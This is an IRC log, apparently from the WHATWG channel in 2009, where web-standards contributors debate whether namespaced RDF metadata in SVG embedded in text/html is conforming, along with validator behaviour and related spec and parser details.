[12:47:02.0000] <AryehGregor>
If it's a video of someone clicking through text-dominated web pages.

[12:48:00.0000] <TabAtkins>
A different article about wireless monitors was talking about them deploying using some new wireless technologies like Ultra Wide Band.

[12:48:01.0000] <Philip`>
AryehGregor: You could do it lossily with 200Mbps H.264 and I expect nobody would notice the difference

[12:48:02.0000] <jgraham>
TabAtkins: those were likely the people I saw

[12:48:03.0000] <AryehGregor>
Probably, yeah.

[12:49:00.0000] <Philip`>
I don't think human eyeballs and brains have a bandwidth of 2Gbps, so it'll always be possible to lossily compress without anybody noticing

[12:50:00.0000] <Philip`>
Anyway, it's trivial to lossily compress any content by just deleting one pixel and the user will assume it's a dead pixel in their monitor and won't mind much

[12:51:00.0000] <AryehGregor>
That's not very useful, though.

[12:52:00.0000] <Philip`>
You expect me to suggest something useful?

[12:53:00.0000] <TabAtkins>
Lossy compression algorithm: just count the number of 1s in the file, and send that as a binary number.  This can be iterated if necessary.

[12:56:00.0000] <AryehGregor>
Better lossy compression algorithm: send no data, let client make it up.

[12:56:01.0000] <AryehGregor>
It could prove to be very entertaining.

[12:56:02.0000] <AryehGregor>
You could just store an old session and replay it whenever the computer is turned on, automatically stitching it together somehow into a seamless loop.

[12:56:03.0000] <TabAtkins>
I like it.

[12:57:00.0000] <AryehGregor>
Unsophisticated users would think their computer was taken over by a ghost.

[12:57:01.0000] <AryehGregor>
Bonus points if the stored session is doing something embarrassing or incriminating.

[12:57:02.0000] <TabAtkins>
"BUG: Installation of software induces supernatural possession of user's computer.  SUGGESTED FIX: Ghostbusters?"

[16:11:00.0000] <Hixie>
Philip`: i didn't say it was any good :-)

[16:12:00.0000] <Hixie>
Philip`: it is, however, probably quite representative of the rdfa code it exposes

[16:13:00.0000] <Hixie>
in other news, i like how shelley implies that henri is wrong about no browser supporting svg in text/html by pointing out that firefox nightlies support it

[16:13:01.0000] <Hixie>
maybe someone should let her know henri's involvement in firefox's parser...

[16:18:00.0000] <annevk3>
I'm glad everyone read up on the old discussions regarding SVG in text/html

[16:20:00.0000] <AryehGregor>
/me detects sarcasm

[16:20:01.0000] <AryehGregor>
They must have predated me.

[16:20:02.0000] <AryehGregor>
Is there some central place this kind of thing is written down?

[16:21:00.0000] <AryehGregor>
Hmm, let me read: http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2008-April/014372.html

[16:21:01.0000] <AryehGregor>
Yeah, that's way before me.

[16:22:00.0000] <Hixie>
TabAtkins said he might have time to start drawing some of those e-mails together into documentation of rationales for many parts of the spec

[16:22:01.0000] <Hixie>
which would be uberfantastic

[16:22:02.0000] <AryehGregor>
I think most specs are sorely lacking rationales.

[16:22:03.0000] <TabAtkins>
I will be starting that this week, yes.

[16:22:04.0000] <AryehGregor>
So people think the spec authors are completely crazy instead of only slightly crazy.

[16:24:00.0000] <Hixie>
oh i'm completely crazy

[16:24:01.0000] <Hixie>
wouldn't be doing this otherwise! :-)

[16:38:00.0000] <Lachy>
I made some more progress on revising this page today. http://wiki.whatwg.org/wiki/HTML_vs._XHTML

[16:39:00.0000] <TabAtkins>
Ah, I remember that email.  That was before your time, AryehGregor?  I thought I remembered you already being on the list when I joined.  It's possible that you were only on www-style, though (I joined both www-style and whatwg at the same time).

[16:39:01.0000] <AryehGregor>
I was on www-style for a lot longer than whatwg, IIRC.

[16:44:00.0000] <AryehGregor>
"If anyone is actually reading this 3363 line e-mail, I'm

[16:44:01.0000] <AryehGregor>
impressed. Please do let me know that you read this."

[16:44:02.0000] <AryehGregor>
Hixie, I am!

[16:46:00.0000] <Hixie>
surprisingly many people have indicated that they did

[16:46:01.0000] <AryehGregor>
Well, I guess it's not a big deal.  I'm also reading the spec, and that's 74,969 lines of HTML and counting.

[16:51:00.0000] <Hixie>
89,000 if you include the other specs that share the same source document :-)

[16:54:00.0000] <TabAtkins>
Haha, I remember sending you that email, Hixie.  I think that happened like a week after I joined whatwg, then.

[16:55:00.0000] <Hixie>
which e-mail?

[16:55:01.0000] <shelleyp>
Hixie: Henri stated that no browser supported SVG in HTML, I corrected. 

[16:55:02.0000] <TabAtkins>
Saying that I'd read the 3363 line email.  ^_^

[16:55:03.0000] <Hixie>
TabAtkins: ah yes, indeed :-)

[16:55:04.0000] <shelleyp>
annevk3: I don't particularly care what you all decided was best course 4 years ago. 

[16:56:00.0000] <annevk3>
shelleyp, this specified a little over a year ago

[16:56:01.0000] <annevk3>
this was*

[16:57:00.0000] <shelleyp>
I stand corrected, I thought I saw something related to 2006

[16:57:01.0000] <shelleyp>
But, I don't follow the WhatWG. I'm addressing my concerns to the W3C HTML WG

[16:57:02.0000] <Philip`>
http://www.google.com/webmasters/tools/richsnippets?url=http%3A%2F%2Fphilip.html5.org%2Fdemos%2Frdfa%2Frichsnippet.html

[16:58:00.0000] <Philip`>
Hixie: So basically it's actually nothing like RDFa at all, it just scrapes data from attributes that share some similarity with RDFa?

[16:58:01.0000] <Philip`>
and there is no "rdfa code" behind it at all

[16:58:02.0000] <shelleyp>
As it stands now, Firefox nightly supports XML vocabularies in the SVG element

[16:59:00.0000] <Lachy>
shelleyp, the point was that no *released* browser supports SVG in HTML. hsivonen is well aware of the experimental support in Firefox nightles, he wrote the parser.

[16:59:01.0000] <shelleyp>
Lachy: so? 

[16:59:02.0000] <shelleyp>
The point is, an error was given where no error exists


2009-09-07
[17:00:00.0000] <shelleyp>
People will be starting to create HTML5 that no browser currently maintains, and they'll want to know if it is future valie

[17:00:01.0000] <shelleyp>
Sorry, valid

[17:01:00.0000] <shelleyp>
If the spec is precise enough, no browser has to implement it in order to test for conformity

[17:03:00.0000] <shelleyp>
Now the issue is: is XML within SVG conforming or not, in HTML? 

[17:03:01.0000] <shelleyp>
Because if it isn't, then it's not very useful 

[17:04:00.0000] <shelleyp>
Does anyone else have any questions they would like to ask me specifically on my recent email to HTML WG?

[17:06:00.0000] <shelleyp>
Does anyone have anything they want to say directly to me? To have a real discussion?

[17:07:00.0000] <shelleyp>
I thought not

[17:10:00.0000] <TabAtkins>
...

[17:11:00.0000] <Lachy>
sorry shelley, was afk. The answer to your question is that no, other XML markup is not conforming in SVG, other than xlink attributes and xml:id, xml:lang and xml:space

[17:11:01.0000] <Lachy>
guess she'll have to read that in the logs.

[17:14:00.0000] <TabAtkins>
I wonder if she understands that IRC is only slightly less asynchronous than email?

[17:26:00.0000] <shelleyp>
Lachy: thanks for the response. That's extremely disappointing. A show stopper.

[17:29:00.0000] <shelleyp>
Lachy: That's not clear in the document either. I don't want to file a bug, though, because I don't agree with this behavior

[17:29:01.0000] <roc>
SVG in HTML is still incredibly useful without that

[17:29:02.0000] <shelleyp>
roc: As much as I'm a supporter of SVG, I don't necessarily agree

[17:30:00.0000] <shelleyp>
roc: most of the SVG you can get that's public domain has CC in RDF/XML

[17:34:00.0000] <webben>
shelleyp: So the concern is you wouldn't be able to paste such clipart into an HTML5 doc?

[17:35:00.0000] <webben>
e.g. http://openclipart.org/people/gubrww/gubrww_gold_nugget_brooch.svg for example?

[17:35:01.0000] <shelleyp>
webben: Yes, that's a real issue. Especially if the CC license doesn't allow modification of the SVG

[17:36:00.0000] <shelleyp>
webben: it's more than that, though. I tried out SVG in HTML5 with the FF nightly, and the external XML works beautifully

[17:37:00.0000] <webben>
shelleyp: Potentially stupid question. Looking at that SVG source, doesn't rdf:about="" point to the current document URL?

[17:37:01.0000] <webben>
wouldn't that mean, if you did paste it into a host XML document, the rdf:about would start pointing to the current doc rather than the embedded SVG fragment?

[17:38:00.0000] <roc>
shelleyp: I agree that's a real issue, but it's going to be really useful in any case

[17:38:01.0000] <shelleyp>
webben: No, because the SVG document is loaded into its own SVGdocument object

[17:38:02.0000] <webben>
okay.

[17:38:03.0000] <webben>
but what's the url of that object?

[17:39:00.0000] <webben>
or rather doesn't "" still resolve to the same URL?

[17:39:01.0000] <shelleyp>
webben: What would it be, if you embed the same SVG in an XHTML document, which is valid in HTML5 land?

[17:40:00.0000] <webben>
That's approx. what I'm asking, yep.

[17:42:00.0000] <rubys2>
shelleyp: why don't you want to file a bug?

[17:43:00.0000] <shelleyp>
rubys2: What would be the bug? That we can't use external vocabularies? Or that it's not well documented that we can't?

[17:44:00.0000] <webben>
2 bugs?

[17:45:00.0000] <rubys2>
shelleyp: whichever one you would advocate.

[17:46:00.0000] <shelleyp>
rubys2: OK

[17:47:00.0000] <rubys2>
as far as I can tell, you aren't asking browsers to behave differently, you simply don't want conformance checkers to complain when you copy and paste a typical SVG document produced by inkscape or whatever into a text/html page.

[17:47:01.0000] <shelleyp>
rubys2: Yes, that's it. I'm not asking for changes to the DOM because of namespaces. I'm just asking that browsers work like the FF nightly worked

[17:49:00.0000] <rubys2>
If spec'ed, I'm willing to make the changes to validator.nu.

[17:49:01.0000] <AryehGregor>
Ah, I see the response to my objection starts somewhere around line 2500.

[17:49:02.0000] <shelleyp>
rubys2: But the only way for the page to be conforming, if I understand it, is to codify this behavior in the HTML5 spec, yes?

[17:50:00.0000] <rubys2>
The spec does need to be clarified one way or another.  And I find the copy/paste from inkscape argument compelling.

[17:51:00.0000] <shelleyp>
rubys2: I think it's very compelling. I actually assumed this was the behavior, and wrote an article for ALA, which I now need to pull because of this assumption

[17:52:00.0000] <rubys2>
I wouldn't pull it... simply annotate it as an open bug report and/or issue.

[17:52:01.0000] <rubys2>
(and I would suggest going with a bug report to start)

[17:53:00.0000] <shelleyp>
rubys2: OK, will do a bug. I want to go read that line 2500 AryehGregor just pointed out

[17:53:01.0000] <AryehGregor>
shelleyp, http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2008-April/014372.html

[17:53:02.0000] <shelleyp>
AryehGregor: thanks -- possible search term I can look for?

[17:54:00.0000] <AryehGregor>
It's scattered.  But a lot of the interesting stuff on HTML vs. XML syntax for embedded SVG seems to start around "I don't think it would take magic".

[17:54:01.0000] <AryehGregor>
I didn't pay much attention to the namespaces issue, though.

[17:55:00.0000] <AryehGregor>
I was just reading the whole post.

[17:56:00.0000] <AryehGregor>
. . . am just reading the whole post, that is.

[17:56:01.0000] <AryehGregor>
/me predicts it will take another 10 minutes or so to finish

[17:58:00.0000] <AryehGregor>
/me is amused by the "Maths is a key part of our heritage" argument instead of the usual "It's a proven standard that implementors have shown interest in incorporating into HTML"

[17:59:00.0000] <rubys2>
quickly scanning that email, I don't see anything that backs up Henri's assertion.

[17:59:01.0000] <AryehGregor>
Which one?

[18:00:00.0000] <AryehGregor>
/me finishes reading

[18:01:00.0000] <AryehGregor>
Hmm, I was pessimistic, more like 4.5 minutes.

[18:01:01.0000] <rubys2>
I may have missed it, but I don't see anything in http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2008-April/014372.html that supports http://twitter.com/hsivonen/status/3797923550

[18:02:00.0000] <AryehGregor>
Well, that e-mail isn't normative, the spec is normative.

[18:02:01.0000] <shelleyp>
rubys2: I've been looking too, primarily starting later in the document, and I can't see a definitive answer on that either

[18:03:00.0000] <rubys2>
aryehGregor: I don't see anything in the spec that backs up Hsivonen's assertion either.

[18:03:01.0000] <shelleyp>
rubys2: hence my confusion on this subject, and surprise with getting the dc:foo answer

[18:04:00.0000] <AryehGregor>
I'd assume it's somewhere in the bowels of section 9.

[18:04:01.0000] <AryehGregor>
http://www.whatwg.org/specs/web-apps/current-work/#parsing-main-inforeign

[18:04:02.0000] <rubys2>
it doesn't surprise me that hsivonen believes it, but I don't believe it has been decided yet either way.

[18:05:00.0000] <rubys2>
/me is not sure he can load the one page version of the spec on this netbook...

[18:05:01.0000] <AryehGregor>
/me isn't going to try reading chapter 9

[18:06:00.0000] <AryehGregor>
Er, sorry about that.

[18:06:01.0000] <AryehGregor>
I don't usually use it myself.

[18:06:02.0000] <AryehGregor>
Only when I'm doing a search of some kind.

[18:06:03.0000] <AryehGregor>
http://www.whatwg.org/specs/web-apps/current-work/multipage/syntax.html#parsing-main-inforeign

[18:06:04.0000] <AryehGregor>
Possibly somewhere there.

[18:08:00.0000] <shelleyp>
* Shelley frantically waves rubys2 away from loading the one page WhatWG spec on his netbook -- visions of burned wires

[18:09:00.0000] <AryehGregor>
You can say /me to do the action thing.

[18:09:01.0000] <AryehGregor>
/me demonstrates.

[18:09:02.0000] <AryehGregor>
/me demonstrates

[18:09:03.0000] <AryehGregor>
.

[18:09:04.0000] <AryehGregor>
(the extra newline wasn't intentional)

[18:10:00.0000] <TabAtkins>
rubys2: If you didn't know, you can always just take the anchor from a link into the 1-page document, append it to the root url of the multipage document, and a script'll pick it up and take you to the correct place in the multipage.

[18:11:00.0000] <shelleyp>
/me thanks AryehGregor

[18:11:01.0000] <AryehGregor>
TabAtkins, sneaky.

[18:11:02.0000] <TabAtkins>
I just found about it a few weeks ago.

[18:11:03.0000] <webben>
9.1.2 says only HTML, MathML and SVG elements are "allowed".

[18:12:00.0000] <webben>
(http://dev.w3.org/html5/spec/syntax.html)

[18:12:01.0000] <rubys2>
neither 9.2.4.5 nor 9.2.4.7 disallow colons

[18:13:00.0000] <Lachy>
what exactly are you trying to find out from the spec?

[18:13:01.0000] <rubys2>
ok, so a bug report on 9.1.2 citing the use case of copy/paste from inkscape would be in order

[18:14:00.0000] <shelleyp>
rubys2: OK, will do

[18:14:01.0000] <Lachy>
scanning the logs quickly didn't make it clear what you're looking for

[18:14:02.0000] <webben>
Lachy: Where dc:foo is disallowed.

[18:14:03.0000] <webben>
Lachy: as per http://twitter.com/hsivonen/status/3797923550

[18:15:00.0000] <rubys2>
Lachy: more context: http://twitter.com/shelleypowers/status/3801626489

[18:15:01.0000] <Lachy>
presumably it's not allowed because it's an attribute in no namespace with the localname "dc:foo", as opposed to "foo" attribute in the "dc" namespace, and I guess SVG doesn't allow non-namespaced, undefined attributes

[18:16:00.0000] <Lachy>
but that's just a guess. I'm not really familiar with SVG's conformance requirements on the issue

[18:16:01.0000] <webben>
oh dc:foo is an attribute not an element?

[18:16:02.0000] <webben>
if so 9.1.2 doesn't apply

[18:17:00.0000] <rubys2>
webben: shelley's example has plenty of elements

[18:17:01.0000] <Lachy>
oh, if you're asking about elements, then it should be clear that only HTML, SVG and MathML elements are permitted

[18:17:02.0000] <webben>
I'm not sure what shelleyp's example was. My openclipart example has elements too.

[18:17:03.0000] <webben>
Just talking about dc:foo

[18:18:00.0000] <webben>
The spec seems less obvious about elements.

[18:18:01.0000] <rubys2>
it would be helpful if such usages weren't flagged... again, nobody is asking that the browser do anything different with such elements and attributes.

[18:18:02.0000] <webben>
*about attributes

[18:18:03.0000] <Lachy>
I just assumed you were talking about an attribute, since I didn't think the spec was in any way ambiguous about undefined elements not being permitted.

[18:19:00.0000] <webben>
okay

[18:21:00.0000] <rubys2>
Lachy: if svg were to allow "dc:foo" (note: with the colon) it wouldn't be undefined.  So the bug report could go against svg.

[18:22:00.0000] <rubys2>
/me thinks this is all good fodder for his svgopen keynote :-)

[18:23:00.0000] <Lachy>
rubys2, then you would presumably run into issues about defining elements with localnames containing colons, which clash with XML namespaces

[18:23:01.0000] <shelleyp>
/me thinks that how SVG will work with HTML in HTML5 will generate lots of interest

[18:25:00.0000] <rubys2>
Lachy: http://www.w3.org/TR/html-design-principles/#priority-of-constituencies

[18:25:01.0000] <rubys2>
users will *definitely* copy/paste documents from inkscape into HTML and expect it to "just work"

[18:25:02.0000] <Lachy>
it will just work. Just won't be conforming.

[18:25:03.0000] <Lachy>
I don't see why flagging useless markup is a bad thing

[18:26:00.0000] <rubys2>
Can I give every last one of them your phone number?  :-)

[18:26:01.0000] <AryehGregor>
Lachy, useless markup is conforming in a lot of other cases to ease interoperability with existing content.

[18:26:02.0000] <rubys2>
it can all be a talisman for all I care.

[18:26:03.0000] <AryehGregor>
Like xmlns, xml:lang, etc. (at least where those were required in XHTML).

[18:27:00.0000] <AryehGregor>
(required or permitted or whatever)

[18:27:01.0000] <Lachy>
AryehGregor, yes, but only in a few very specific cases. Allowing random junk doesn't seem like such a good idea

[18:27:02.0000] <AryehGregor>
No opinion here.

[18:27:03.0000] <rubys2>
things intentionally put in SVG to capture license information (for example) hardly qualifies as "random junk"

[18:28:00.0000] <rubys2>
BBIAB.   Will check logs.

[18:28:01.0000] <takkaria>
I think it's pretty important to warn about dc:* if they're not put in the right namespace, since that's not what you would expect

[18:28:02.0000] <AryehGregor>
If there are particular examples that are very common, it seems reasonable to special-case those.

[18:28:03.0000] <AryehGregor>
At least by HTML 5's philosophy of compatibility with existing content even at the expense of ugly or useless markup.

[18:30:00.0000] <Lachy>
in the few limited cases where useless talismans are permitted, they would have virtually no effect even if they did work. e.g. xmlns="" need to have the value of the namespace in which the element is already placed

[18:30:01.0000] <TabAtkins>
OMG I'M DONE WITH IT.

[18:30:02.0000] <TabAtkins>
http://www.xanthir.com/test.php?width=200&height=100&radial-gradient=top 20px left 20%, ellipse cover,yellow 20px,green,red,blue

[18:30:03.0000] <takkaria>
division by zero at like 221?

[18:30:04.0000] <AryehGregor>
Is that supposed to be a URL?

[18:30:05.0000] <Lachy>
that wouldn't be the case with allowing <dc:*> and <cc:*> elements, since it would create the false impression that they actually do anything useful in HTML

[18:30:06.0000] <TabAtkins>
That's like 12 hours of work getting that to work.

[18:30:07.0000] <TabAtkins>
Yeah, copy the whole thing.

[18:31:00.0000] <TabAtkins>
http://www.xanthir.com/test.php?width=200&height=100&radial-gradient=top%2020px%20left%2020%,%20ellipse%20cover,yellow%2020px,green,red,blue

[18:32:00.0000] <AryehGregor>
Is that moving, or is it just my imagination?  I *think* it's just my imagination, but . . .

[18:32:01.0000] <takkaria>
Lachy: the uselessness is fine, I think the thing that's important is that they'd be in the DOM in a very different form to what one would expect

[18:32:02.0000] <TabAtkins>
Just your imagination.  ^_^  The eye-raping colors are good for testing.

[18:32:03.0000] <Lachy>
takkaria, yeah, that too

[18:42:00.0000] <TabAtkins>
Well, correction, there are a couple of important bugs in my parser that need fixing.  But, given appropriate inputs, it displays as intended!

[19:07:00.0000] <AryehGregor>
Okay, so why is "Attribute size not allowed on element input at this point"?  <input id=mw-input-contextchars name=wpcontextchars size=20 value=50 min=0 type=number>

[19:07:01.0000] <AryehGregor>
Is size invalid on type=number, or is the validator wrong?

[19:08:00.0000] <Hixie>
http://www.whatwg.org/specs/web-apps/current-work/#input-type-attr-summary

[19:09:00.0000] <AryehGregor>
So why is that?  Presumably in some cases you'd expect the user to be entering a number like 6, and other times you'd expect them to want to enter floating-point numbers to 47 decimal places.

[19:10:00.0000] <AryehGregor>
Of course, size is kind of dodgy anyway, I always felt it seemed more appropriate to do with CSS.

[21:01:00.0000] <Hixie>
wtf is the API that does the equivalent of getElmentsBySelector() called?

[21:01:01.0000] <Hixie>
selectNodes()?

[21:01:02.0000] <Hixie>
oh, querySelector().

[23:58:00.0000] <zcorpan>
Philip`: http://webreflection.blogspot.com/2009/09/font-face-we-are-already-doing-wrong.html

[00:51:00.0000] <hsivonen>
I see my spec reading ability has been questioned in the logs.

[00:55:00.0000] <othermaciej>
it has?

[00:58:00.0000] <Philip`>
/me questions othermaciej's IRC log reading ability

[00:58:01.0000] <othermaciej>
I'm reading the logs now, but I'm not sure I'll be able to figure out what hsivonen was referring to

[01:00:00.0000] <othermaciej>
the Dublin Core controversy?

[01:01:00.0000] <hsivonen>
othermaciej: yes

[01:01:01.0000] <othermaciej>
does HTML5 specify anywhere that any SVG elements or attributes are valid, or does it defer that completely to SVG?

[01:01:02.0000] <hsivonen>
othermaciej: it defers to SVG

[01:02:00.0000] <othermaciej>
hsivonen: through the "other applicable specifications" clause, or in some more explicit way?

[01:02:01.0000] <hsivonen>
othermaciej: but SVG 1.1 requires the stuff that goes in <metadata> to be expressed "in a manner conforming with the "Namespaces in XML" Recommendation", and having a non-NCName local name doesn't qualify

[01:02:02.0000] <hsivonen>
othermaciej: it's basically like other applicable specs, except only "in a manner conforming with the "Namespaces in XML" Recommendation"

[01:03:00.0000] <hsivonen>
maybe there's list email by now that I can reply to

[01:03:01.0000] <othermaciej>
there were some public-html posts that I assume were on this topic

[01:04:00.0000] <othermaciej>
it seems to me that 'expressed in a manner conforming with the "Namespaces in XML" Recommendation' is not a very clear rule as applied to SVG-in-text/html

[01:06:00.0000] <othermaciej>
it's not even very precise in the context of XML - I would guess it means something like namspace well-formed, but that's not meaningful for a fragment

[01:07:00.0000] <othermaciej>
however, it does seem to me that attributes and elements which parse into different {namespaceURI, localName} pairs in HTML and XML are problematic

[01:08:00.0000] <othermaciej>
besides making them clearly nonconforming inside <svg:metadata>, another possibility is to just apply xmlns processing inside <metadata> or even just inside <svg>, but then presumably people would use it as a hook to inject arbitrary namespaced content

[01:13:00.0000] <hsivonen>
I've posted about this to public-html before, but Shelley wasn't a WG participant back then.

[01:13:01.0000] <hsivonen>
I'll look up the archive URL.

[01:13:02.0000] <hsivonen>
short version: there are multiple possible solutions but they are all bad

[01:14:00.0000] <othermaciej>
that seems par for the course

[01:14:01.0000] <othermaciej>
shelley is technically not a WG participant now, but she did post to the list on this topic

[01:27:00.0000] <erlehmann>
hsivonen, i dont really get why the current solution to have SVG content inside an iframe or image is not preferred

[01:29:00.0000] <Hixie>
(me either)

[01:34:00.0000] <othermaciej>
image isn't very good if you want to change the svg dynamically or have interactive features in it

[01:35:00.0000] <othermaciej>
iframe does allow those, although it requires your svg to live in a defined opaque rectangular box

[01:36:00.0000] <othermaciej>
that being said, there are many use cases for vector graphics that do work fine with those and don't need inline svg

[01:36:01.0000] <hsivonen>
Hixie: clearly, the "how to read this specification" part doesn't teach people that reading a Hixie spec isn't like reading a Dave Winer spec

[01:37:00.0000] <Hixie>
do you want bold 96px text that says "don't read between the lines"?

[01:39:00.0000] <othermaciej>
hsivonen: your statement that SVG and MathML requirements defined in terms of XML formalisms are to be applied to the DOM after parsing from text/html does not seem overwhelmingly clear from any spec

[01:39:01.0000] <Philip`>
96px text is easy to miss when it just occurs once in a giant document

[01:40:00.0000] <Philip`>
Maybe you should put it in 2px text located between every line

[01:40:01.0000] <othermaciej>
hsivonen: I do believe that is the intent of HTML5, but one could just as easily assume SVG and MathML requirements are applied at a source text level instead of a DOM level, or something

[01:41:00.0000] <Hixie>
Philip`: hah

[01:41:01.0000] <othermaciej>
short of some clear spec language to say otherwise

[01:49:00.0000] <Hixie>
woo

[01:50:00.0000] <othermaciej>
woo?

[01:50:01.0000] <Hixie>
outstanding e-mails are now below outstanding bugs and outstanding XXX markers. And I blogged.

[01:52:00.0000] <othermaciej>
you catblogged!

[01:53:00.0000] <hsivonen>
othermaciej: I'll post proof to the list shortly.

[01:54:00.0000] <Hixie>
yeah well most of the things i'd like to say about subjects y'all would be interested in would likely just piss people off

[01:54:01.0000] <hsivonen>
othermaciej: evidently, it's not overwhelmingly clear to everyone

[01:55:00.0000] <hsivonen>
othermaciej: it is overwhelmingly clear from the implementation POV

[01:55:01.0000] <hsivonen>
othermaciej: because the code I have for RDF/XML simply won't run in the text/html case

[01:55:02.0000] <othermaciej>
hsivonen: it's clear what to do from the implementation POV, yes

[01:55:03.0000] <othermaciej>
(or do you mean validator implementation?)

[01:58:00.0000] <hsivonen>
othermaciej: yes

[01:58:01.0000] <othermaciej>
the fact that it naturally falls out of how you implemented the validator doesn't necessarily mean it's clearly required by spec

[01:58:02.0000] <hsivonen>
I have trouble finding the right search terms to locate my earlier treatment of this topic

[01:58:03.0000] <othermaciej>
I'm not saying this to argue in favor of dc:foo, btw, I'm just wary of ending up with an SVG+CSS-style gap between the specs

[02:01:00.0000] <hsivonen>
oh well. my earlier message didn't use obvious words, I suppose

[02:05:00.0000] <othermaciej>
shouldn't some spec (probably HTML5) say that SVG and MathML conformance requirements are to be applied to the parsed DOM?

[02:09:00.0000] <othermaciej>
SVG 1.1 does actually have a definition of "Conforming SVG Document Fragments" but it's all XML-specific

[02:10:00.0000] <othermaciej>
one of the requirements is XML well-formedness - I am not sure it is meaningful to ask whether a DOM is well-formed XML, since well-formedness is defined in terms of text

[02:12:00.0000] <Hixie>
i would hope SVG defines the conformance requirements of SVG nodes in _any_ DOM, whether HTML is present or not

[02:12:01.0000] <Hixie>
if not, that's more of a problem for SVG than for HTML

[02:12:02.0000] <othermaciej>
SVG is not defined in terms of a DOM

[02:14:00.0000] <othermaciej>
it seems to be defined in terms of XML concepts which are ultimately defined at a textual level

[02:15:00.0000] <othermaciej>
I don't think SVG 1.1 was written with any non-XML syntax in mind

[02:15:01.0000] <Philip`>
What about createElement etc?

[02:15:02.0000] <othermaciej>
or MathML 3.0 (the only MathML version I looked at)

[02:15:03.0000] <Philip`>
(which is effectively a non-XML syntax)

[02:16:00.0000] <othermaciej>
I don't think SVG 1.1 defines conformance for API-created DOM trees

[02:17:00.0000] <othermaciej>
(or MathML)

[02:24:00.0000] <othermaciej>
does HTML5 itself have conformance requirements for script-constructed DOMs? I seem to recall a requirement that the DOM must not be put in a nonconforming state by script, but I can't find it offhand

[02:28:00.0000] <hsivonen>
Maybe I should maintain a list of public-html highlights about SVG so that I could drop URLs instead of a vague "search the archives" recommendation

[02:28:01.0000] <othermaciej>
hsivonen: I'm reading your longer email

[02:34:00.0000] <othermaciej>
hsivonen: I still think it is not properly specified anywhere that SVG 1.1 requirements should be applied to the DOM

[02:35:00.0000] <othermaciej>
hsivonen: I do agree that it's the sane way to do things

[02:55:00.0000] <hsivonen>
othermaciej: being clear about that point seems like actionable feedback to Hixie

[02:55:01.0000] <othermaciej>
hsivonen: I think so too, though I'm also having trouble thinking about how to define it clearly

[02:56:00.0000] <othermaciej>
if you look at SVG 1.1 and follow all the normative references, it is defined in terms of text

[02:56:01.0000] <othermaciej>
I'm not sure about specs that use RelaxNG instead of DTDs as the formalism

[02:56:02.0000] <hsivonen>
othermaciej: seems like a bug in SVG specs

[02:57:00.0000] <othermaciej>
hsivonen: updating the relevant other specs might be the way to go

[03:00:00.0000] <othermaciej>
however, Namespaces in XML appears to be defined in terms of text, and I don't think anyone is up for changing it

[03:01:00.0000] <othermaciej>
actually, it looks like the Namespace constraints could be interpreted in ways that are not purely textual, but "namespace-well-formed" is definitely defined in terms of text

[03:02:00.0000] <hsivonen>
XML is one of the best-written W3C specs, but the failure to roll the infoset concept into the XML spec itself and defining everything in terms of bits on the wire is an unfortunate failure

[03:02:01.0000] <jgraham>
hsivonen: I'm not sure how making stuff that was intended to be namespaced XML in html non-conforrming is theoretical purity

[03:03:00.0000] <hsivonen>
jgraham: fair enough

[03:03:01.0000] <jgraham>
Since the content will not work as expected it seems like it helps users

[03:03:02.0000] <hsivonen>
jgraham: I considered conformance in general to be more in the direction of purity than "works in Firefox"

[03:03:03.0000] <othermaciej>
in the case of <metadata>, I think the common case is that no one expects the content to have any effect

[03:04:00.0000] <hsivonen>
I have to admit I was a bit surprised to find that Hixie had made it impossible to have any children of <metadata> that would conform per SVG

[03:04:01.0000] <jgraham>
othermaciej: Presumably people expect that someone will parse it and do whatever it is that people do with metadata

[03:04:02.0000] <hsivonen>
I had had a faulty impression that <metadata> worked like SVG <title> as far as parsing goes and {http://www.w3.org/1999/xhtml}meta were allowed

[03:05:00.0000] <othermaciej>
it's true that if anyone parses it according to HTML5 rules, it won't do what is expected

[03:06:00.0000] <othermaciej>
(unless they process it in some technically incorrect way, like using regexps or DOM Level 1 APIs)

[03:06:01.0000] <hsivonen>
unless, of course, "do whatever it is that people do with metadata" and "ignore" are equivalent...

[03:16:00.0000] <othermaciej>
it seems like things would be better if XML, Namespaces in XML and Infoset were all one spec and higher level specs could be defined in terms of infoset instead of in terms of XML grammar productions

[03:17:00.0000] <Hixie>
i've been saying that for years

[03:17:01.0000] <Hixie>
good luck convincing anyone

[03:17:02.0000] <hsivonen>
othermaciej: I agree

[03:18:00.0000] <hsivonen>
Hixie: out of curiosity, why didn't you make <metadata> parse like <title>?

[03:18:01.0000] <Hixie>
what's <metadata>?

[03:18:02.0000] <hsivonen>
Hixie: an SVG tag

[03:18:03.0000] <Hixie>
never heard of it

[03:18:04.0000] <hsivonen>
Hixie: parse like <title> in SVG foreign lands

[03:18:05.0000] <Hixie>
(or at least i don't recall hearing of it)

[03:18:06.0000] <jgraham>
hsivonen: It seems that your asumption in #3 is different to your assumption in #1

[03:19:00.0000] <hsivonen>
jgraham: could be

[03:19:01.0000] <othermaciej>
(I recall there's already a mapping from Infoset to DOM, so XHTML5 is already indirectly defined in terms of infoset)

[03:19:02.0000] <othermaciej>
I hadn't heard of <metadata> until today

[03:20:00.0000] <hsivonen>
jgraham: yes, I'm assuming that if something is conforming, it's legitimate to assume it "works"

[03:20:01.0000] <Hixie>
hsivonen: making <metadata> switch back to html seems to make sense; file a bug

[03:20:02.0000] <Hixie>
/me really doesn't understand why people are so obsessed with metadata

[03:21:00.0000] <Hixie>
and by "people" i really mean software architects

[03:21:01.0000] <Hixie>
because few other people care

[03:23:00.0000] <hsivonen>
whoops! filing that bug would be bad, since "meta" is on the break out list

[03:23:01.0000] <hsivonen>
I don't care enough to argue for changing *that* too

[03:24:00.0000] <hsivonen>
umm. no

[03:24:01.0000] <hsivonen>
now I'm confused

[03:24:02.0000] <hsivonen>
the break out list wouldn't apply

[03:27:00.0000] <hsivonen>
ok. it was a bad idea still but for a different reason

[03:34:00.0000] <Lachy>
hsivonen, are you aware of this bug in your HTML5 parser in Firefox. http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0A%3Ctextarea%3E%26%23xA%3B%26%23xA%3Btest%3C%2Ftextarea%3E

[03:35:00.0000] <Lachy>
it seems all subsequent new lines done with char refs get ignored, when only the first is supposed to be ignored. Compare the result with the old parser, or any other browser

[04:06:00.0000] <Hixie>
hsivonen: yt?

[04:06:01.0000] <Hixie>
hsivonen: what do i need to change here http://www.whatwg.org/specs/web-apps/current-work/#interactions-with-xpath-and-xslt for http://www.w3.org/Bugs/Public/show_bug.cgi?id=7059#c18 ?

